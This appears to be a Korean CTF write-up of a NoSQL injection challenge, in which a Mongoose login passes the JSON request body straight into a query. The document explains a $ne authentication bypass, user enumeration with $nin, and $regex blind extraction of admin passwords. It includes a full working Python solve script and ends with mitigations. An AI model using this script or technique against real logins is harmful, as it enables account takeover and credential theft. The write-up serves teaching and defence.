Mongoose 로그인이 req.body 를 그대로 findOne 쿼리에 넣는다. JSON 바디로 $ne 연산자를 보내 비밀번호 없이 로그인하고, /user 가 노출하는 admin 값으로 진짜 admin 유저를 찾는다. $regex blind 로 비밀번호를 한 글자씩 뽑는데, 플래그는 admin 두 명의 비밀번호에 반씩 쪼개져 있었다.
express.json() 덕분에 요청 바디를 JSON으로 보내면 req.body.upw가 문자열이 아니라 객체가 될 수 있다. MongoDB 쿼리에서 값 자리에 {"$ne": null} 같은 객체가 들어가면 그건 비교 연산자다. 인증이 "값 일치"에서 "연산자 평가"로 바뀐다.
로그인 결과로 무엇이 새는지도 중요하다. 성공하면 세션에 { uid, admin }을 담고 /user로 보낸다. 그 페이지는 이렇게 렌더한다.
비밀번호가 그 접두사로 시작하면 findOne이 매칭돼 302 → /user, 아니면 302 → /login이다. 리다이렉트 위치가 곧 참/거짓 오라클이다. 맞는 글자를 찾으면 접두사에 붙이고, 다음 글자로 넘어가 }까지 반복한다.
플래그 문자 집합은 [0-9A-Za-z]에 {, }를 더한 정도다. 한 자리에 최대 수십 번, 길이만큼 반복하면 비밀번호 전체가 나온다.
🚀 Full Exploit
열거와 추출, 그리고 마지막 조립까지 한 스크립트에 담았다.
# solve.pyimport requests, re, string, sysBASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:3000"LOGIN = BASE + "/login"USER = BASE + "/user"def login(uid, upw): """매칭이면 세션 쿠키가 담긴 Session, 아니면 None. (라이브가 가끔 느려 재시도)""" for _ in range(5): try: s = requests.Session() r = s.post(LOGIN, json={"uid": uid, "upw": upw}, allow_redirects=False, timeout=20) return s if r.headers.get("Location", "").endswith("/user") else None except requests.RequestException: continue return Nonedef whoami(s): html = s.get(USER, timeout=15).text uid = re.search(r"Welcome,\s*([^<]+)</h1>", html) adm = re.search(r"admin auth:\s*([^<]+)</p>", html) return (uid.group(1).strip() if uid else None, adm.group(1).strip() if adm else None)def enumerate_users(): """$nin 으로 유저를 순차적으로 끌어내 전체 (uid, admin) 수집.""" users, seen = [], [] while True: s = login({"$nin": seen}, {"$ne": None}) if not s: break uid, admin = whoami(s) if uid is None or uid in seen: break users.append((uid, admin)) seen.append(uid) return usersdef extract_pw(uid): """admin uid 의 upw 를 $regex 로 한 글자씩 추출.""" charset = string.digits + string.ascii_letters + "{}" pw = "" while True: if login(uid, {"$regex": "^" + re.escape(pw) + "$"}): break for c in charset: if login(uid, {"$regex": "^" + re.escape(pw + c)}): pw += c print(f"\r[*] {uid} pw: {pw}", end="", flush=True) break else: break print() return pwprint(f"[*] target: {BASE}")users = enumerate_users()print(f"[+] {len(users)} users found")for uid, admin in users: mark = " <== ADMIN" if admin not in ("0", None) else "" print(f" {uid:10} admin={admin}{mark}")admins = [u for u, a in users if a not in ("0", None)]print(f"[+] admin users ({len(admins)}): {admins}")pieces = {}for uid in admins: pieces[uid] = extract_pw(uid) print(f"[+] {uid:10} password = {pieces[uid]}")# 플래그는 admin 비밀번호들이 반씩 쪼개진 것 — DH{ 로 시작하는 조각이 앞, } 로 끝나는 게 뒤head = next((p for p in pieces.values() if p.startswith("DH{")), "")tail = next((p for p in pieces.values() if p.endswith("}")), "")middle = [p for p in pieces.values() if p is not head and p is not tail]print(f"[+] FLAG = {head + ''.join(middle) + tail}")
돌려보면 admin 두 명이 잡히고, 각자의 비밀번호가 나온다.
solve.py 실행 — admin 2명 열거 + 비밀번호 추출 + 조립된 FLAG
여기서 반전. testuser의 비밀번호는 DH{0da0d81e54f57b로 끝이 잘려 있고, cream의 비밀번호는 e1b67f0e666e326954}로 시작이 없다. 둘 다 단독으로는 플래그가 아니다. 이어 붙여야 비로소 완성된다.
DH{ + 32자리 hex + }. 플래그가 admin 두 명에게 반씩 나뉘어 있었고, 그래서 "admin 유저는 몇 명일까요?"라고 물은 것이다. 한 명만 찾고 멈췄다면 반쪽짜리 문자열만 손에 쥐었을 것이다.
DH{0da0d81e54f57be1b67f0e666e326954}
📝 결론
사용자 입력을 쿼리에 그대로 넣는 건 SQL이든 NoSQL이든 똑같이 위험하다.
findOne({ uid: req.body.uid, upw: req.body.upw })는 평범해 보이지만, express.json()이 붙는 순간 값 자리에 객체가 들어올 수 있다. {"$ne": null} 하나로 인증이 통째로 무너진다.
막는 법은 타입을 강제하는 것이다.
uid와 upw가 문자열일 때만 진행하면 된다 — typeof upw !== 'string'이면 거부. 또는 객체 키에 $가 섞여 들어오지 못하도록 검사한다(express-mongo-sanitize 류). Mongoose라면 스키마 타입을 String으로 두고 쿼리에 캐스팅을 강제하는 것도 한 겹이 된다.
그리고 응답이 무엇을 흘리는지 봐야 한다.
이 문제는 /user가 매칭된 레코드의 admin 값을 그대로 노출한 탓에, 비밀번호 한 글자 없이도 "누가 admin인가"를 알 수 있었다. blind 추출의 출발점은 언제나 이런 작은 참/거짓 신호다. 리다이렉트 위치 하나, 화면에 찍힌 필드 하나가 오라클이 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…